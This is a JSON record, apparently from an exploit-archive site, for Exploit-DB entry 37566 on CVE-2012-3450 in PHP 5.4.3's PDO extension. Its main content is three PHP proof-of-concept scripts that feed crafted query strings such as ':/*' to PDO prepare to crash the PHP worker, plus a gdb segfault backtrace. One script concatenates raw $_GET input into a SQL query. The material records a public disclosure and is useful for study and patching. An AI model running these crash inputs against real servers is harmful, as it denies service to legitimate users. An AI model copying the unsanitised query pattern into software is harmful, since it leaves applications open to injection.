{"exploit":{"id":"EDB-37566","name":"PHP 5.4.3 - PDO Memory Access Violation Denial of Service (DoS)","description":"PHP 5.4.3 - PDO Memory Access Violation Denial of Service (DoS)","cves":["CVE-2012-3450"],"author":"0x721427D8","published":"2012-08-02","platform":"php","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/37566","path":"exploits/php/dos/37566.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-37566.txt","vulnerabilities":[{"id":"CVE-2012-3450","state":"PUBLISHED","title":null,"titleSource":null,"description":"pdo_sql_parser.re in the PDO extension in PHP before 5.3.14 and 5.4.x before 5.4.4 does not properly determine the end of the query string during parsing of prepared statements, which allows remote attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted parameter value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-3450","cvss":{"version":"2.0","baseScore":2.6,"severity":"low","vectorString":"AV:N/AC:H/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-3450"},"updatedAt":"2024-08-06T20:05:12.633Z","retrievedAt":"2026-11-27T11:11:01.325Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-37566.png?v=2","url":"https://exploitbin.com/exploits/EDB-37566","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-37566/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-37566/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2012/https://www.securityfocus.com/bid/54777/info\n\nPHP is prone to a remote denial-of-service vulnerability.\n\nAn attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.\n\nPHP 5.4.3 is vulnerable; other versions may also be affected.\n\n----------------------------------------\n\n<?php\n try {\n $db = new PDO('mysql:host=localhost;dbname=aws', \"root\", \"\");\n //tokens:\n // SELECT;*;from;'user';/*\n //$sql = \"SELECT * from 'user'/*\";\n $stmt = $db->prepare(\"SELECT * from 'user'\".mysql_real_escape_string($_GET['query']));\n $stmt->execute();\n //crash\n $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);\n $stmt->fetch(PDO::FETCH_BOUND);\n print_r( $type);\n }\n catch (Exception $e)\n {\n echo \"Failed: \" . $e->getMessage();\n }\n ?>\n -----\n <?php\ntry {\n$db = new PDO('mysql:host=localhost;dbname=aws', \"root\", \"\");\n\n//tokens:\n// SELECT;*;from;'user';/*\n$sql = \":/*\";\n\n$stmt = $db->prepare($sql);\n$stmt->execute();     // crashes php worker in pdo_parse_params()\n\n$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);\n$stmt->fetch(PDO::FETCH_BOUND);\nprint_r( $type);\n\n} catch (Exception $e) {\n  echo \"Failed: \" . $e->getMessage();\n}\n\n?>\n---\n\n<pre>\n<?php\necho \"hmm beginning\\n\";\ntry {\n$db = new PDO('mysql:host=localhost;dbname=aws', \"root\", \"\");\necho \"lets get it on\\n\";\n//tokens:\n// SELECT;*;from;'user';/*\n$sql = \"SELECT * from user :/**\";\necho $sql;\n$stmt = $db->prepare($sql);\necho \"prepared :)\\n\";\nprint_r($stmt);\n$stmt->execute();     // crashes php worker in pdo_parse_params()\nprint_r($stmt);\necho \"executed :(\\n\";\n$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);\n$stmt->fetch(PDO::FETCH_BOUND);\necho \"--data-\\n\";\nprint_r( $type);\necho \"--data--\\n\";\n\n} catch (Exception $e) {\n        echo \"EXCEPTION\";\n  echo \"Failed: \" . $e->getMessage();\n}\necho \"hmmm end\\n\";\n?>\n</pre>\n\nActual result:\n--------------\nroot@bt:/opt/lampp# gdb ./bin/php\n(gdb) run poc_pdo_linux_short_1.php\nStarting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php\n[Thread debugging using libthread_db enabled]\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x08228a81 in ?? ()\n(gdb) bt\n#0  0x08228a81 in ?? ()\n#1  0x082280eb in pdo_parse_params ()\n#2  0x08223891 in ?? ()\n#3  0x084b2aad in ?? ()\n#4  0x084b1f87 in execute ()\n#5  0x08490ed2 in zend_execute_scripts ()\n#6  0x0843f13c in php_execute_script ()\n#7  0x08506b46 in main ()","sha256":"601001bc90884ca56889341ce97b5b19bc8f67097ac8f49ea3f97cd5a58acc29","bytes":2391,"fetchedAt":"2026-11-27T11:10:56.576Z","encoding":"utf-8 (display only; download retains original bytes)"}